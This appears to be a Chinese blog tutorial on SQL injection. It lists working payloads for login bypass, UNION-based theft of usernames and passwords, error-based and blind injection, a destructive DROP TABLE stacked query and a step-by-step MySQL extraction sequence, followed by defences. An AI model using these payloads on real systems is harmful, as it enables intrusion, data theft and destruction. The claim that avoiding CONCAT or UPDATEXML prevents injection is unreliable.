SQL注入详解

1. 什么是SQL注入?


SQL注入是一种安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,从而操纵数据库查询,获取敏感信息或执行恶意操作。这种攻击通常发生在Web应用程序中,当用户输入被直接拼接到SQL查询语句中,而没有经过适当的验证和处理时,就容易发生SQL注入。

2. SQL注入的常见类型


根据攻击方式的不同,SQL注入可以分为以下几种类型:

1. **基础型SQL注入**

   - 直接将恶意SQL代码嵌入用户输入中,影响查询逻辑。
   - **示例**:
     ```sql
     输入用户名:admin' OR '1'='1
     输入密码:anything
     ```
     执行的SQL查询:
     ```sql
     SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
     ```
     结果:由于`OR '1'='1'`始终为`true`,可以绕过验证。

2. **UNION查询注入**


   - 通过`UNION`将攻击者构造的查询结果与合法查询结果合并,获取敏感数据。
   - **示例**:
     ```sql
     输入:

' UNION SELECT null, username, password FROM users --


     ```
     执行的SQL查询:
     ```sql
   

 SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';


     ```
     结果:将`users`表的`username`和`password`数据作为结果返回。

3. **错误型SQL注入**


   - 通过故意触发数据库错误,利用错误信息推测表名、列名或数据。
   - **示例**:
     ```sql
     输入:' AND 1=CONVERT(int, (SELECT @@version)) --
     ```
     执行的SQL查询:
     ```sql
     SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';
     ```
     结果:错误信息可能暴露数据库版本或其他信息。

4. **盲注**


   - 无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。
   - **布尔型盲注示例**:
     ```sql
     输入

' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --


     ```
     执行的SQL查询:
     ```sql
     

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';


     ```
     结果:根据返回结果判断数据库名首字母是否为`t`。
   - **时间盲注示例**:


     ```sql
     输入:

' AND IF(1=1, SLEEP(5), 0) --


     ```
     执行的SQL查询:
     ```sql
   

 SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';


     ```
     结果:如果条件成立,服务器会延迟5秒响应,从而泄露信息。

5. **堆叠查询注入**


   - 允许多条SQL语句同时执行。
   - **示例**:
     ```sql
     输入:

'; DROP TABLE users; --


     ```
     执行的SQL查询:
     ```sql
     

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';


     ```
     结果:`users`表被删除。

#### 3. MySQL手工注入
MySQL手工注入通常包括联合注入、报错注入等多种方式。

1. **联合注入**
   - **爆库**:
     ```sql
   

 ?id=1' order by 4--+
     ?id=0' union select 1,2,3,database()--+


     ```
   - **爆表**:
     ```sql
     

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+


     ```
   - **爆字段**:
     ```sql
     

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+


     ```
   - **爆数据**:
     ```sql
   

 ?id=0' union select 1,2,3,group_concat(password) from users --+


     ```
     `group_concat`可替换为`concat_ws(',',id,users,password )`。

2. **报错注入**
   - **查询数据库版本**:
     ```sql
     

?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +


     ```
   - **查询表名**:
     ```sql
     

?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +


     ```
   - **查询字段名**:
     ```sql
     

?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +


     ```
   - **查询数据**:
     ```sql
   

 ?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +


     ```
     `concat`也可以放在外面。

#### 4. SQL注入的防御


1. **参数化查询(Prepared Statements)**
   - 使用参数化查询可以有效防止SQL注入,因为参数化查询会将用户输入作为参数传递,而不是直接拼接到SQL语句中。
   - **示例(MyBatis中使用占位符#)**:
     ```xml
     <select id="getUserInfo" resultMap="UserMap">
         SELECT * FROM t_user WHERE username = #{username}
     </select>
     ```
     这里使用了`#{username}`占位符,而不是`${username}`,从而可以防止SQL注入。

2. **输入验证**
   - 对用户输入进行严格的验证,确保输入符合预期的格式和类型。
   - **示例**:
     - 检查用户输入是否为合法的数字或字符串。
     - 使用正则表达式过滤非法字符。

3. **最小权限原则**
   - 数据库用户应具有完成任务所需的最小权限,避免赋予不必要的权限,以减少潜在的安全风险。

4. **使用安全的函数**
   - 避免使用容易引发SQL注入的函数,如`CONCAT`、`UPDATEXML`等。

请注意,SQL注入是一种严重的安全漏洞,可能导致数据泄露、系统受损等严重后果。因此,在进行任何安全测试或渗透测试时,请确保获得合法授权,并遵守相关法律法规。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值